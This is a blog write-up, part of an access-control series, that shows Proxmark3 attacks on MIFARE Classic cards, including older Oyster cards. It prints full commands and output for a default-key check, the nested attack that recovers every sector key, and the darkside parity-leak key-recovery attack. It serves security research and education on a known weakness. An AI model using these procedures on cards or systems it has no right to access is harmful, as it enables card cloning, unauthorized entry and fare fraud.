Proxmark3 RFID Hacking / Research | Access Control Part 3

Proxmark3

Introduction

Or rather miniature guns, that pack a powerful punch… Our previous posting on Access Control Part 2: Mifare Attacks, we demonstrated a weakness in some Mifare implementations. Our previous attack relied on the use of a single default key, and using the nested attack to eventually recover all keys for the card.  Additionally, we used a rather cheap and affordable ACR-122U reader that costs approximately $40(USD), and the attack process took approximately 20-30 minutes.

Below we will repeat the attack with some more advanced piece of kit – the Proxmark3; the kit costs approximately $400(USD) including the antennas and necessary cables (you  have to pay a little extra for a protective case).

As the Proxmark3 is specifically built for RFID hacking/research; it contains an ARM Processor and Field Programmable Gate Array (FPGA), the attacks are a lot faster as calculations can be performed in hardware as opposed to software.  This dramatically makes attacks faster, and opens up other attack avenues to successfully break older Mifare implementations – specifically cards without default keys.

Checking For Default Keys

Rather than describe the process in-depth, below is the screen dump of the command hf mf chk *1 ? t which will check all sectors for a predefined list of default keys:

proxmark3> hf mf chk *1 ? t
No key specified,try default keys
chk default key[0] ffffffffffff
chk default key[1] 000000000000
chk default key[2] a0a1a2a3a4a5
chk default key[3] b0b1b2b3b4b5
chk default key[4] aabbccddeeff
chk default key[5] 4d3a99c351dd
chk default key[6] 1a982c7e459a
chk default key[7] d3f7d3f7d3f7
chk default key[8] 714c5c886e97
chk default key[9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--SectorsCnt:0 block no:0x03 key type:A key count:13
Found valid key:[a0a1a2a3a4a5]
--SectorsCnt:1 block no:0x07 key type:A key count:13
--SectorsCnt:2 block no:0x0b key type:A key count:13
--SectorsCnt:3 block no:0x0f key type:A key count:13
Found valid key:[a0a1a2a3a4a5]
...abbreviated...

Sectors 0 & 3 both contain a known default key!

The Nested Attack

Now with at least one default key we can perform the Nested Attack:

proxmark3> hf mf nested 1 0 A a0a1a2a3a4a5 t
--block no:00 key type:00 key:a0 a1 a2 a3 a4 a5  etrans:1
Block shift=0
Testing known keys. Sector count=16
nested...

..uid:3b0e943f len=1 trgbl=0 trgkey=1
.uid:3b0e943f len=1 trgbl=0 trgkey=1
.uid:3b0e943f len=1 trgbl=0 trgkey=1
.uid:3b0e943f len=3 trgbl=0 trgkey=1
.uid:3b0e943f len=2 trgbl=0 trgkey=1
.------------------------------------------------------------------
Total keys count:679553
Found valid key:6d59ee19b1c9

..uid:3b0e943f len=1 trgbl=4 trgkey=0
.uid:3b0e943f len=2 trgbl=4 trgkey=0
.uid:3b0e943f len=2 trgbl=4 trgkey=0
.uid:3b0e943f len=2 trgbl=4 trgkey=0
.uid:3b0e943f len=2 trgbl=4 trgkey=0
.------------------------------------------------------------------
Total keys count:756531
Found valid key:1494e81663d7

..uid:3b0e943f len=2 trgbl=4 trgkey=1
.uid:3b0e943f len=2 trgbl=4 trgkey=1
.uid:3b0e943f len=2 trgbl=4 trgkey=1
.uid:3b0e943f len=3 trgbl=4 trgkey=1
.uid:3b0e943f len=3 trgbl=4 trgkey=1
.------------------------------------------------------------------
Total keys count:850267
Found valid key:6d59ee19b1c9
...abbreviated...

Total keys count:1093909
Found valid key:6d59ee19b1c9
Iterations count: 30
|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  a0a1a2a3a4a5  | 1 |  6d59ee19b1c9  | 1 |
|001|  1494e81663d7  | 1 |  6d59ee19b1c9  | 1 |
|002|  1494e81663d7  | 1 |  6d59ee19b1c9  | 1 |
|003|  a0a1a2a3a4a5  | 1 |  6d59ee19b1c9  | 1 |
|004|  1494e81663d7  | 1 |  a24c49684d8e  | 1 |
|005|  1494e81663d7  | 1 |  6d59ee19b1c9  | 1 |
|006|  1494e81663d7  | 1 |  6d59ee19b1c9  | 1 |
|007|  1494e81663d7  | 1 |  6d59ee19b1c9  | 1 |
|008|  1494e81663d7  | 1 |  6d59ee19b1c9  | 1 |
|009|  1494e81663d7  | 1 |  6d59ee19b1c9  | 1 |
|010|  1494e81663d7  | 1 |  6d59ee19b1c9  | 1 |
|011|  1494e81663d7  | 1 |  6d59ee19b1c9  | 1 |
|012|  1494e81663d7  | 1 |  6d59ee19b1c9  | 1 |
|013|  1494e81663d7  | 1 |  6d59ee19b1c9  | 1 |
|014|  1494e81663d7  | 1 |  6d59ee19b1c9  | 1 |
|015|  1494e81663d7  | 1 |  6d59ee19b1c9  | 1 |
|---|----------------|---|----------------|---|

I abbreviated the output, otherwise there would be pages of key dumps, showing each recovered sector key.  You can see from the summary at the end that all A & B keys are successfully recovered 🙂

The process took less than ten minutes to open the entire contents of the 1K mifare card (20+ minutes faster than the tikitag (ACR-122U)).

What If There Is No Default Key?

Some older mifare cards (such as the early London Oyster cards) suffer from a 3-bit parity leak. Parity bits are encrypted with the same bit of keystream that encrypts the first bit of the next byte of plaintext. During the authentication protocol, if the reader sends wrong parity bits, the card stops communicating. However, if the reader sends correct parity bits, but wrong authentication data, the card responds with an (encrypted) error code. This breaks the confidentiality of the cipher, enabling an attacker to establish a side channel.

This second attack exploits the weakness of the parity bits but this time the attacker mounts an adaptive chosen ciphertext attack. The process uses approximately 28500 authentication attempts. We need to make sure that the challenge nonce of the card is constant, which is why this takes approximately upto fifteen minutes. During these authentication attempts, the attacker adaptively chooses the challenge to the card, ultimately obtaining a challenge that guarantees that there are only 436 possibilities for the odd-numbered bits of the internal state of the cipher. This reduces the offline search space to approximately 33 bits. On a standard desktop computer this search takes about one minute.

The proxmark command for this attack is hf mf mifare:

proxmark3> hf mf mifare
-------------------------------------------------------------------------
Executing command. Expected execution time: 25sec on average  :-)
Press the key on the proxmark3 device to abort both proxmark3 and client.
-------------------------------------------------------------------------
.................
uid(216?????) nt(b3008ce0) par(817929311941f1c9) ks(080e0d0406090f01)
|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000000| 8 |  d  |1,0,0,0,0,0,0,1|
| 20 |00000020| e |  b  |1,0,0,1,1,1,1,0|
| 40 |00000040| d |  8  |1,0,0,1,0,1,0,0|
| 60 |00000060| 4 |  1  |1,0,0,0,1,1,0,0|
| 80 |00000080| 6 |  3  |1,0,0,1,1,0,0,0|
| a0 |000000a0| 9 |  c  |1,0,0,0,0,0,1,0|
| c0 |000000c0| f |  a  |1,0,0,0,1,1,1,1|
| e0 |000000e0| 1 |  4  |1,0,0,1,0,0,1,1|
000fb144|005184d3
------------------------------------------------------------------
Key found:ffb721ee44ea

Now this attack took less than a minute on a Quad-Core MacBook Pro 1.5GHz 🙂

Now, with a Sector Key recovered, we can use the Nested Attack demonstrated above to recover the entire card 🙂

Now to emphasise the speed of this attack! Using libnfc and the Darkside attack(mfcuk) software on the ACR-122U hardware, I spent over 2 weeks attempting to crack the same sector before my machine inadvertently crashed; I’m not sure what caused the crash, but after 2-weeks I still had not cracked the key 🙁

Note: Now I’m not going to post the contents of my Oyster card, but if you have a proxmark3 and an older Oyster card, you should be able to repeat and reproduce this attack.  Oyster has since moved to the more secure Mifare Desfire Cards (similar to the RFID chips in UK passports), which are not vulnerable to this attack!

References